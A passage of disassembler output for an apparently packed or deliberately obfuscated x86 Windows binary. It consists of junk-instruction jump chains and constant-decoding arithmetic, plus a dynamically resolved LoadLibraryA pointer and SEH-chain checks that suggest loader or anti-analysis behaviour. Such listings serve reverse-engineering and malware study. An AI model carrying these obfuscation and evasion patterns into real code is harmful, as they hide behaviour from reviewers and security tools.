; START	OF FUNCTION CHUNK FOR sub_4059CF


loc_40FBA4:				; CODE XREF: sub_4059CF+Ej
		jmp	loc_410A44
; END OF FUNCTION CHUNK	FOR sub_4059CF

; =============== S U B	R O U T	I N E =======================================



sub_40FBA9	proc near		; DATA XREF: sub_410DDD+14o

var_8		= dword	ptr -8

		push	eax
		push	esi
		push	0CC52CC44h
		pop	esi
		add	esi, 33EDA598h
		xchg	esi, [esp+8+var_8]
		jmp	sub_40CA72
sub_40FBA9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40FBBF:				; CODE XREF: sub_40C1F0:loc_410776j
		jno	loc_40A1A3
		jmp	loc_40CF5F
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_40B420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40845E


loc_40FBD0:				; CODE XREF: sub_40845E:loc_40F387j
		add	eax, edx
		call	sub_40C94E


loc_40FBD7:				; CODE XREF: sub_4105A5:loc_40D1E2j
		add	al, ah


loc_40FBD9:				; CODE XREF: sub_4089F3+Cj
		push	edx
		push	39536B46h
		pop	edx
		add	edx, 562D92A2h
		xor	edx, 8F80FDEFh
		and	eax, edx
		pop	edx
		jmp	loc_40CFDA
; END OF FUNCTION CHUNK	FOR sub_40845E
; ---------------------------------------------------------------------------


loc_40FBF4:				; CODE XREF: _837l4vi2:0040D66Ej
		jz	loc_4109A1
; START	OF FUNCTION CHUNK FOR sub_408736


loc_40FBFA:				; CODE XREF: sub_408736-368j
		jmp	loc_40EF61
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
		push	eax
		mov	[esi], edi
		pop	esi
		jmp	loc_41099F
; ---------------------------------------------------------------------------


loc_40FC08:				; DATA XREF: _837l4vi2:0040C898o
		mov	dword ptr [ebp-4], 1
		push	5D320649h
		pop	eax
		add	eax, 0A2CDF9B7h
		or	eax, eax
		jz	loc_40FAB5
		jmp	loc_40D48E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A915


loc_40FC28:				; CODE XREF: sub_40A915:loc_40DFDAj
		push	0DCFFA16h
		pop	edx
		xor	edx, 0FE781869h
		push	offset loc_406A98
		jmp	nullsub_132
; END OF FUNCTION CHUNK	FOR sub_40A915
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D32


loc_40FC3E:				; CODE XREF: sub_409D32:loc_406466j
					; sub_40800E+Aj
		jz	loc_40A077
		lea	eax, [ebp-125h]
		push	eax
		call	sub_407AA4
		mov	[ebp-4], eax
		call	sub_40877A
; END OF FUNCTION CHUNK	FOR sub_409D32
; START	OF FUNCTION CHUNK FOR sub_40CA72


loc_40FC58:				; CODE XREF: sub_40CA72-2674j
		jmp	nullsub_133
; END OF FUNCTION CHUNK	FOR sub_40CA72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108F9


loc_40FC5D:				; CODE XREF: sub_4108F9-8BA3j
		jmp	loc_40C34D
; END OF FUNCTION CHUNK	FOR sub_4108F9
; ---------------------------------------------------------------------------
		push	308BB5C5h
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		rol	edx, 0Fh
		jb	loc_40D673


loc_40FC76:				; CODE XREF: _837l4vi2:004102CFj
		jmp	locret_4067E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409DD8


loc_40FC7B:				; CODE XREF: sub_409DD8+9j
		jmp	loc_408FC9
; END OF FUNCTION CHUNK	FOR sub_409DD8

; =============== S U B	R O U T	I N E =======================================



sub_40FC80	proc near		; DATA XREF: sub_40D242:loc_409244o

; FUNCTION CHUNK AT 0040DFCB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E8F1 SIZE 00000001 BYTES

		xor	eax, 0E3EADD91h
		add	eax, ebp
		add	eax, 0E3FAD600h
		mov	eax, [eax]
		jmp	loc_40DFCB
sub_40FC80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40FC95:				; CODE XREF: _837l4vi2:0040F0EDj
		jle	sub_407C0E
		adc	esi, 21F748Ch
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40FCA1:				; CODE XREF: sub_407AA4:loc_40F0C1j
		add	eax, 0FE28E004h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_410F06
		jmp	loc_40DF05
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7F9


loc_40FCB6:				; CODE XREF: sub_40A7F9-4A73j
		jz	loc_40AE03
		push	2E6BA235h
		or	edx, esi
		jmp	loc_40AE01
; END OF FUNCTION CHUNK	FOR sub_40A7F9

; =============== S U B	R O U T	I N E =======================================



sub_40FCC8	proc near		; DATA XREF: _837l4vi2:loc_40D708o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040682A SIZE 00000005 BYTES

		push	esi
		push	6FCDDCE0h
		pop	esi
		add	esi, 9072BF42h
		xchg	esi, [esp+4+var_4]
		jmp	loc_40682A
sub_40FCC8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE62


loc_40FCDD:				; CODE XREF: sub_40AE62+268Cj
		adc	edx, 26F0C5BBh
		jmp	loc_4056D0
; END OF FUNCTION CHUNK	FOR sub_40AE62
; ---------------------------------------------------------------------------

locret_40FCE8:				; CODE XREF: _837l4vi2:00406761j
		retn
; ---------------------------------------------------------------------------
		cmp	ebx, 32FC8566h
		jmp	loc_40E6C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40FCF4:				; CODE XREF: sub_40892F+5D55j
		pop	esi
		sub	esi, 0C0846F54h
		or	esi, 58C627C3h
		add	esi, 2370CB38h
		xchg	esi, [esp+0]
		jmp	loc_40907B
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------


loc_40FD0F:				; CODE XREF: _837l4vi2:00407CC2j
		push	edi
		pushf
		push	5BCE5D5Dh
		pop	edi
		add	edi, 0B64CD9EDh
		jb	loc_40D005
		xor	edi, 3204ED4Dh
		jmp	loc_40CFFE
; ---------------------------------------------------------------------------


loc_40FD2E:				; CODE XREF: _837l4vi2:0040E9B1j
		jp	loc_4056C4

; =============== S U B	R O U T	I N E =======================================



sub_40FD34	proc near		; CODE XREF: sub_406834:loc_406BA3p

; FUNCTION CHUNK AT 00406B58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040741B SIZE 0000000C BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0FD805A3Eh
		jmp	loc_406B58
sub_40FD34	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_40FD42:				; CODE XREF: sub_40601E+8j
		jnz	loc_410C57
		jmp	loc_40DB20
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_40FD4D:				; CODE XREF: sub_407AA4:loc_40DF05j
		call	sub_40B088
		mov	edx, 17B3C1CFh
		call	sub_40E739
		push	eax
		jmp	loc_40D037
; END OF FUNCTION CHUNK	FOR sub_407AA4

; =============== S U B	R O U T	I N E =======================================



sub_40FD62	proc near		; CODE XREF: _837l4vi2:0040890Ep
					; _837l4vi2:0040FE6Ej
		mov	[esp+0], edx
		pop	edx
		test	eax, eax
		jl	loc_40B991
		jmp	loc_406D02
sub_40FD62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40FD73:				; CODE XREF: _837l4vi2:loc_40C17Bj
					; _837l4vi2:0040E3B1j
		call	nullsub_214
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A945


loc_40FD7A:				; CODE XREF: sub_40A945+10j
		jmp	loc_40B991
; END OF FUNCTION CHUNK	FOR sub_40A945
; ---------------------------------------------------------------------------


loc_40FD7F:				; CODE XREF: _837l4vi2:00410DB1j
		call	sub_40BF48
		test	al, al
		jz	loc_40F8F9
		jmp	loc_40F945
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_40FD91:				; CODE XREF: sub_406ADC:loc_409BB9j
		test	al, al
		jz	loc_40AACA
		jmp	loc_40F769
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------
		sub	ecx, 20821668h
		jmp	loc_40A008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B89B


loc_40FDA9:				; CODE XREF: sub_40B89B+Ej
		sub	edi, 676B833Dh
		add	edi, 0E56829A8h
		popf
		xchg	edi, [esp+4+var_4]
		jmp	loc_411054
; END OF FUNCTION CHUNK	FOR sub_40B89B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40FDBE:				; CODE XREF: sub_40926F-3E00j
		test	esi, edx
		jmp	loc_40AFA5
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
		ror	ecx, 1Dh
		jmp	sub_410C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B75E


loc_40FDCD:				; CODE XREF: sub_40B75E+Aj
		pop	edx
		add	edx, 5EDB1036h
		xchg	edx, [esp+0]
		jmp	sub_406477
; END OF FUNCTION CHUNK	FOR sub_40B75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_411059


loc_40FDDC:				; CODE XREF: sub_411059:loc_40F80Dj
		xchg	ebp, [esp+0]
		mov	eax, [ebp-4]
		push	eax
		push	ecx
		push	1CE7C692h
		pop	ecx
		and	ecx, 98601EC9h
		cmp	ecx, 6E4EB51Ch
		jmp	loc_40808C
; END OF FUNCTION CHUNK	FOR sub_411059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40FDFB:				; CODE XREF: sub_40AA44+546Bj
		jnz	loc_40ECD5
		jmp	loc_41006E
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4100FB


loc_40FE06:				; CODE XREF: sub_4100FB:loc_40949Aj
		add	edi, 5797610Eh
		xchg	edi, [esp+0]
		push	ebx
		pushf
		push	offset loc_40A3C5
		jmp	loc_41026D
; END OF FUNCTION CHUNK	FOR sub_4100FB
; ---------------------------------------------------------------------------


loc_40FE1B:				; DATA XREF: sub_409CE9+8o
		pop	ebp
		push	offset sub_40B8AE
		jmp	loc_406B7C
; ---------------------------------------------------------------------------


loc_40FE26:				; CODE XREF: _837l4vi2:0040C800j
		mov	ebp, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_40FE28	proc near		; CODE XREF: _837l4vi2:0040EBB4p

; FUNCTION CHUNK AT 0040731D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BDC1 SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		mov	dword ptr [ecx], 10001h
		lea	eax, sub_40FA97
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		jmp	loc_40BDC1
sub_40FE28	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40FE44:				; CODE XREF: sub_40BF48-23F4j
		push	edx
		push	0DAEE8AADh
		pop	edx
		add	edx, 60B73D5Dh
		rol	edx, 0Eh
		jmp	loc_40F7CB
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_40CE69
		jmp	loc_4085A8
; ---------------------------------------------------------------------------


loc_40FE66:				; CODE XREF: _837l4vi2:00407E56j
		call	sub_410828
		shr	ebx, 2
		jmp	sub_40FD62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_40FE73:				; CODE XREF: sub_409D6B+33A4j
		mov	eax, [eax]
		push	246215B3h
		mov	[esp+0], eax
		push	ebx
		push	622705D3h
		jmp	loc_407A16
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------


loc_40FE88:				; CODE XREF: _837l4vi2:loc_406B86j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7F9


loc_40FE89:				; CODE XREF: sub_40A7F9+EB9j
		jmp	sub_405606
; END OF FUNCTION CHUNK	FOR sub_40A7F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40FE8E:				; CODE XREF: sub_40AA44+485Fj
		pop	edx
		add	edx, 5F6AA89Ah
		xchg	edx, [esp+4+var_4]
		jmp	loc_40766C
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD8A


loc_40FE9D:				; CODE XREF: sub_40CD8A:loc_40EA28j
		xor	ebp, edx
		not	eax
		jmp	loc_4088AB
; END OF FUNCTION CHUNK	FOR sub_40CD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40FEA6:				; CODE XREF: sub_40AA44:loc_406D25j
		test	eax, esi
		pop	esi
		jz	loc_40B446
		jmp	loc_40FDFB
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------


loc_40FEB4:				; CODE XREF: _837l4vi2:004081CBj
		ror	eax, 15h
		adc	eax, edi
		jmp	loc_40836E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A58E


loc_40FEBF:				; CODE XREF: sub_40A58E+330Cj
		jmp	loc_4099C1
; END OF FUNCTION CHUNK	FOR sub_40A58E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40FEC4:				; CODE XREF: sub_40966E+17E3j
		jmp	loc_4059EB
; END OF FUNCTION CHUNK	FOR sub_40966E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40FECA	proc near		; DATA XREF: _837l4vi2:00407FDFo
		cmp	eax, 7C61090Eh
		retn
sub_40FECA	endp

; ---------------------------------------------------------------------------


loc_40FED0:				; CODE XREF: _837l4vi2:00408E00j
		jmp	loc_40E819

; =============== S U B	R O U T	I N E =======================================



sub_40FED5	proc near		; CODE XREF: sub_4055BD:loc_4055C8p
					; sub_40C6CA+4p

; FUNCTION CHUNK AT 0040CA10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D588 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F1B2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040F1D6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FEFE SIZE 0000000F BYTES

		xor	bx, bx
		add	ebx, 10000h


loc_40FEDE:				; CODE XREF: sub_40FED5-D15j
					; sub_40FED5+31j
		js	loc_40F1D6
		jmp	loc_40CA10
sub_40FED5	endp

; ---------------------------------------------------------------------------


loc_40FEE9:				; CODE XREF: _837l4vi2:00408E68j
		or	esi, 928D2C76h
		jmp	loc_40E5F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40FEF4:				; CODE XREF: sub_40966E+6CBEj
		call	sub_40DB41
; END OF FUNCTION CHUNK	FOR sub_40966E
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40FEF9:				; CODE XREF: sub_40DF72+Cj
		jmp	loc_410FEE
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FED5


loc_40FEFE:				; CODE XREF: sub_40FED5:loc_40D588j
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_40FEDE
		retn
; END OF FUNCTION CHUNK	FOR sub_40FED5

; =============== S U B	R O U T	I N E =======================================



sub_40FF0D	proc near		; CODE XREF: sub_40F31D-5BE4p

; FUNCTION CHUNK AT 00405508 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040948E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004094A4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040DD36 SIZE 00000005 BYTES

		mov	eax, large fs:0


loc_40FF14:				; CODE XREF: sub_40FF0D-AA00j
					; sub_40FF0D-6A7Aj
		jb	loc_4094A4
		cmp	dword ptr [eax], 0FFFFFFFFh
		jmp	loc_40948E
sub_40FF0D	endp

; ---------------------------------------------------------------------------


loc_40FF22:				; CODE XREF: _837l4vi2:00408214j
		xchg	ebx, esi
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		push	eax
		push	eax
		jmp	loc_40F296

; =============== S U B	R O U T	I N E =======================================



sub_40FF31	proc near		; DATA XREF: sub_40FB7C+7o

; FUNCTION CHUNK AT 00407C50 SIZE 00000005 BYTES

		push	ebx
		pop	ebp


loc_40FF33:				; CODE XREF: _837l4vi2:loc_41019Cj
		pop	ebx
		mov	eax, ds:dword_411040
		push	offset sub_4061B1
		jmp	loc_407C50
sub_40FF31	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4073E8


loc_40FF44:				; CODE XREF: sub_4073E8+12j
		mov	[ebp-8], eax
		call	sub_40AAC3
		mov	[ebp-4], eax
		call	sub_40A8FE


loc_40FF54:				; CODE XREF: sub_40DC8C-62D2j
		jmp	nullsub_137
; END OF FUNCTION CHUNK	FOR sub_4073E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40FF59:				; CODE XREF: sub_40D735-2A0Ej
		add	eax, 14E688h
		xor	eax, 48E164B5h
		add	eax, ebp
		add	eax, 0ECC917A0h
		cmp	dword ptr [eax], 47424454h
		jz	loc_409F1E
		jmp	loc_41062D
; END OF FUNCTION CHUNK	FOR sub_40D735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF4A


loc_40FF7F:				; CODE XREF: sub_40DF4A-81Aj
		jmp	loc_409401
; END OF FUNCTION CHUNK	FOR sub_40DF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_40FF84:				; CODE XREF: sub_4103D0-8380j
		jmp	nullsub_145
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40845E


loc_40FF89:				; CODE XREF: sub_40845E:loc_40CFDAj
		mov	[ebp-4], eax
; END OF FUNCTION CHUNK	FOR sub_40845E
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_40FF8C:				; CODE XREF: sub_40CEC1+6j
					; _837l4vi2:0040F105j
		jb	loc_408FE2
		cmp	dword ptr [ebp-4], 0
		jnz	loc_405B0F
		jmp	loc_407BA4
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_40FFA2:				; CODE XREF: sub_40966E+27A1j
		jmp	loc_409283
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_40FFA7:				; CODE XREF: sub_40D977-4BC0j
		jmp	loc_408D41
; END OF FUNCTION CHUNK	FOR sub_40D977

; =============== S U B	R O U T	I N E =======================================



sub_40FFAC	proc near		; CODE XREF: sub_40B088-48BEp
					; _837l4vi2:0040C5F9j

; FUNCTION CHUNK AT 004073D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C24A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E9AA SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_40E13A
		lea	eax, [ebp-14h]
		jmp	loc_4073D9
sub_40FFAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40FFBD:				; CODE XREF: _837l4vi2:0040D446j
		jl	loc_40B4D0
		sbb	ecx, 6CEDEB50h
		jmp	loc_40E707
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_40FFCF:				; CODE XREF: sub_4053DD+9781j
		jmp	loc_40EF77
; END OF FUNCTION CHUNK	FOR sub_4053DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D242


loc_40FFD4:				; CODE XREF: sub_40D242+7j
		jmp	loc_4102D4
; END OF FUNCTION CHUNK	FOR sub_40D242
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC4A


loc_40FFD9:				; CODE XREF: _837l4vi2:loc_408771j
					; sub_40CC4A+Ej
		jmp	nullsub_139
; END OF FUNCTION CHUNK	FOR sub_40CC4A
; ---------------------------------------------------------------------------
		push	0C3A8F53Fh
		xor	dword ptr [esp], 0C3A8F53Fh
		push	80h
		push	3
		push	0
		push	3
		jmp	loc_407B83
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C32D


loc_40FFFB:				; CODE XREF: sub_40C32D+7j
		jmp	sub_40D92B
; END OF FUNCTION CHUNK	FOR sub_40C32D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_410001:				; CODE XREF: sub_40E6CD:loc_40841Cj
		popf
		shr	ebp, 7
		xor	eax, ebx
		jmp	loc_409163
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------
dword_41000C	dd 0							; sub_406834+6r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_410010:				; CODE XREF: sub_40D735-3F71j
		jmp	loc_40E22B
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407641


loc_410015:				; CODE XREF: sub_407641+16j
		jmp	loc_40AC79
; END OF FUNCTION CHUNK	FOR sub_407641
; ---------------------------------------------------------------------------
		dw 89BDh
dword_41001C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_408A60+5w ...
; ---------------------------------------------------------------------------


loc_410020:				; CODE XREF: _837l4vi2:0040ED17j
		jmp	loc_40E202
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406BF8


loc_410025:				; CODE XREF: sub_406BF8+23j
					; sub_40AA44-2170j
		jmp	loc_407F49
; END OF FUNCTION CHUNK	FOR sub_406BF8
; ---------------------------------------------------------------------------
		dw 85DDh
dword_41002C	dd 3FA09F2h	dword_410030	dd 0CBE41A65h						; sub_40E3C8:loc_40874Fr
; ---------------------------------------------------------------------------


loc_410034:				; CODE XREF: _837l4vi2:0040685Cj
		jmp	loc_40CBD2
; ---------------------------------------------------------------------------
		db 51h,	0BEh, 0D4h
dword_41003C	dd 35A0F90h	; ---------------------------------------------------------------------------


loc_410040:				; DATA XREF: sub_405BB4:loc_40C11Co
		cmp	dword ptr [ebp-10h], 0
		call	sub_40A312
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_410049:				; CODE XREF: sub_409D6B+531Dj
		jnb	loc_40DCD5


loc_41004F:				; CODE XREF: sub_40B99D:loc_40E08Cj
		call	sub_40E449


loc_410054:				; CODE XREF: _837l4vi2:004071F9j
		mov	byte ptr [ebp-803h], 0
		mov	byte ptr [ebp-802h], 0
		mov	byte ptr [ebp-801h], 1
		call	sub_40C2F6


loc_41006E:				; CODE XREF: sub_40AA44+53BDj
		jmp	loc_40B826
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------


loc_410073:				; CODE XREF: _837l4vi2:loc_405C12j
		pop	eax
		add	eax, 2E67755Bh
		or	eax, 21EAC9ABh
		add	eax, 0D245E545h
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_410086:				; CODE XREF: sub_4078C8:loc_40A59Dj
		mov	eax, [eax]
		call	sub_4104E3
		popf
		xchg	esi, [ebx]
		jmp	sub_406637
; END OF FUNCTION CHUNK	FOR sub_4078C8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_410096:				; CODE XREF: sub_40AE2D+5CA1j
		jmp	loc_40959D
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD07


loc_41009B:				; CODE XREF: sub_40CD07+Aj
		jmp	loc_405A29
; END OF FUNCTION CHUNK	FOR sub_40CD07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408BA9


loc_4100A0:				; CODE XREF: sub_408BA9:loc_40C57Bj
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_40860C
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_408BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B99D


loc_4100B6:				; CODE XREF: sub_40B99D+1j
		jmp	loc_40DE97
; END OF FUNCTION CHUNK	FOR sub_40B99D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_4100BB:				; CODE XREF: sub_40CA5A-3704j
		mov	edi, ecx
		js	loc_405698
		jmp	loc_408A0C
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD8A


loc_4100C8:				; CODE XREF: sub_40CD8A:loc_405F42j
					; sub_4097F1:loc_407B9Aj
		js	loc_40EC2C
		call	sub_40ECC0
; END OF FUNCTION CHUNK	FOR sub_40CD8A
; START	OF FUNCTION CHUNK FOR sub_40CDE9


loc_4100D3:				; CODE XREF: sub_40CDE9:loc_40CDF8j
		xchg	ebx, [esp+0]
		push	esi
		push	37DC05F0h
		pop	esi
		add	esi, 4AD2374Bh
		jmp	loc_409394
; END OF FUNCTION CHUNK	FOR sub_40CDE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4094E2


loc_4100E8:				; CODE XREF: sub_4094E2-AB2j
		shr	eax, 4
		xor	[ebp-0Ah], al
		inc	dword ptr [ebp-8]
		push	offset sub_407A96
		jmp	nullsub_141
; END OF FUNCTION CHUNK	FOR sub_4094E2

; =============== S U B	R O U T	I N E =======================================



sub_4100FB	proc near		; CODE XREF: sub_405810+3p
					; _837l4vi2:004095EFj

; FUNCTION CHUNK AT 0040949A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FE06 SIZE 00000015 BYTES

		mov	[esp+0], edi
		pop	edi
		push	edi
		push	0A8689EF2h
		pop	edi
		jmp	loc_40949A
sub_4100FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_41010B:				; CODE XREF: sub_40B859:loc_408287j
		jns	loc_410204
		jmp	loc_40AC99
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_410116:				; CODE XREF: sub_408A93+7EDAj
		jz	loc_40EA0E
		jmp	loc_409995
; END OF FUNCTION CHUNK	FOR sub_408A93
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40801F


loc_410122:				; CODE XREF: sub_40801F+82FBj
		jmp	loc_40E2D5
; END OF FUNCTION CHUNK	FOR sub_40801F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EE1E


loc_410127:				; CODE XREF: sub_40EE1E+Aj
		jmp	loc_40B342
; END OF FUNCTION CHUNK	FOR sub_40EE1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_41012C:				; CODE XREF: sub_40AA44-413Aj
		jmp	sub_407982
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_410131:				; CODE XREF: sub_40B67D:loc_4074EBj
		add	eax, 28309FD8h
		mov	eax, [eax]
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+0]
		push	0
		push	10h
		jmp	loc_409844
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ECC0


loc_410148:				; CODE XREF: sub_40ECC0:loc_405297j
		mov	esp, ebp
		pop	ebp
		push	385238B8h
		xchg	ecx, [esp+4+var_4]
		mov	eax, ecx
		pop	ecx
		jmp	loc_40D093
; END OF FUNCTION CHUNK	FOR sub_40ECC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_41015B:				; CODE XREF: sub_406C3E:loc_40655Bj
		xchg	eax, [esp+4+var_4]
		push	esi
